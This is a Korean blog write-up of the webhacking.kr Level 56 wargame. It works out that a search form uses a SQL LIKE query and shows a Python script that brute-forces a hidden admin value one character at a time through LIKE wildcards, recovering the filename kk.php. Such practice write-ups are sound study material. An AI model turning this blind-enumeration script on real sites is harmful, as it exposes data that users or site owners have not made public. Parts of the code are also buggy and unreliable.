eli_ez3r
eli_ez3r
eli_ez3r
전체 방문자
오늘
어제
  • 분류 전체보기 (202)
    • 0x01 끄적끄적 :) (57)
      • Network (5)
      • Security (14)
      • Reversing (2)
      • Forensic (5)
      • Operation System (10)
      • Development (10)
      • Solution (7)
      • 보안 상식 (3)
    • 0x02 Study :) (127)
      • Pwnable (59)
      • Webhacking (56)
      • Reversing (11)
      • Machine Learning (1)
    • 0x03 ETC :) (16)
      • IT Unpacking (5)
      • IT Information (1)
      • Enjoy (4)
      • Etc (6)
    • Admin :) (0)
      • 0x01 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • github.io 블로그 개설

인기 글

태그

  • attack
  • password
  • overflow
  • LOB
  • Up
  • 공격
  • 풀이
  • 문제풀이
  • 패스워드
  • 과정
  • 해킹
  • hacking
  • web
  • LEVEL
  • BOF
  • 암호
  • buffer
  • 문제
  • hack
  • 오버플로우
  • webhacking.kr
  • 메모리
  • hacker
  • 해커
  • hakcing
  • write
  • pwnable
  • 스쿨
  • school
  • 설명

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
eli_ez3r

eli_ez3r

webhacking.kr Level 56 문제풀이
0x02 Study :)/Webhacking

webhacking.kr Level 56 문제풀이

2018. 7. 29. 10:54

Level 56

 


<table border=1>
    <tr>
        <td>no</td><td>id</td><td>subject</td><td>secret</td>
    </tr>
    <tr>
        <td>1</td><td>admin</td><td><a href=?read=admin>readme</a></td><td>0</td>
    </tr>
    <tr>
        <td>2</td><td>guest</td><td><a href=?read=guest>hi~</a></td><td>1</td>
    </tr>
</table>
<form method=post action=index.php>search : <input name=search size=50 maxlength=50><input type=submit>
</form>

소스 코드에서 불필요한 부분은 제거한 코드이다. 소스코드에 별다른게 없어 search 에 문자를 무작위로 넣고 제출해보았다.

 



테이블에 아무런 정보가 뜨지 않는다.




입력 값에 따라서 테이블에 나오는 값이 달랐다.



'_'를 4개 넣어보니 admin만 출력 되었다. 즉, like 명령어를 통해 조회하고 있음을 알 수 있었다.

 


 

테스트 결과 쿼리문은 select * from broad where subject like '%$search%' 라고 생각되어진다.

 

LIKE는 특정 문자열 정보가 포함된 데이터를 뽑을 때 사용한다. LIKE에서 '_' 를 이용하여 글자수를 나타낸다.

밑줄 문자 '_' 를 사용하여 LIKE 및 PATINDEX 와 같은 패턴 일치가 표함된 문자열 비교 작업에서 단일 문자와 일치하도록 한다.


그러면 '_'를 이용하여 admin의 검색 스트링이 6글자 인 것을 알 수 있었다.

#coding:utf-8
from socket import *
from urllib2 import *
from socket import *
from string import *
import urllib2, re, string


# 세션값
SESSION = "aaaaaaaa"

# 검색 값
search = ""

# 범위
code = string.ascii_letters + string.digits + string.punctuation
code = string.replace('_', '')

for j in range(0,6):
	for i in code:
		req = urllib2.Request("http://webhacking.kr/challenge/web/web-33/index.php", data=("search=" + (search+i)))
		req.add_header("Cookie","PHPSESSID=%s" %SESSION)
		res = urllib2.urlopen(req).read()
		print "Searching : %s" % search+i

		if (res.find("admin") != -1) and (res.find("hi~") == -1):
			search += str(i)
			print "Searched : %s\n" % search
			break

위 코드를 이용하여 파싱을 하였다.



%값이 출력되었다. (진작에 뺏어야 되는데... 시간낭비 😢)

 

like에서 %기호는 앞 또는 뒤의 문자열을 무시할 경우 사용한다. 예를들어, %me%라고 검색하면 me가 들어가는 모든것들이 검색하게 된다. %me 라고 검색하면 앞에 문자 상관없이 me로 끝나는 모든 것들을 검색한다.

 

따라서 %가 들어가게되면 정확한 값을 찾을 수 없으므로 제거하고 다시 파싱 하였다.. 😒


시간 절약하는 차원에서 앞서 나온 'kk'로 시작하도록 하였다.

# 검색 값
search = "kk"

# 범위
code = string.ascii_letters + string.digits + string.punctuation
code = code.replace('_', '')
code = code.replace('%', '')

for j in range(0,4):
	for i in code:
		req = urllib2.Request("http://webhacking.kr/challenge/web/web-33/index.php", data=("search=" + (search+i)))
		req.add_header("Cookie","PHPSESSID=%s" %SESSION)
		res = urllib2.urlopen(req).read()
		print "Searching : %s" % search+i

		if (res.find("admin") != -1) and (res.find("hi~") == -1):
			search += str(i)
			print "Searched : %s\n" % search
			break



'&' 도 빼야댐... 삽질중...😩




kk.php라는 값을 찾아냈다. 아래는 최종코드

#coding:utf-8
from socket import *
from urllib2 import *
from socket import *
from string import *
import urllib2, re, string


# 세션값
SESSION = "aaaaaaaaaa"

# 검색 값
search = ""

# 범위
code = string.ascii_letters + string.digits + string.punctuation
code = string.replace('_', '').replace('%', '').replace('&', '')

for j in range(0,6):
	for i in code:
		req = urllib2.Request("http://webhacking.kr/challenge/web/web-33/index.php", data=("search=" + (search+i)))
		req.add_header("Cookie","PHPSESSID=%s" %SESSION)
		res = urllib2.urlopen(req).read()
		print "Searching : %s" % search+i

		if (res.find("admin") != -1) and (res.find("hi~") == -1):
			search += str(i)
			print "Searched : %s\n" % search
			break

딱봐도 파일 이름이다. url에 넣어보자.



저작자표시 비영리 변경금지 (새창열림)
    '0x02 Study :)/Webhacking' 카테고리의 다른 글
    • webhacking.kr Level 59 문제풀이
    • webhacking.kr Level 58 문제풀이
    • webhacking.kr Level 54 문제풀이
    • webhacking.kr Level 52 문제풀이
    eli_ez3r
    eli_ez3r

    티스토리툴바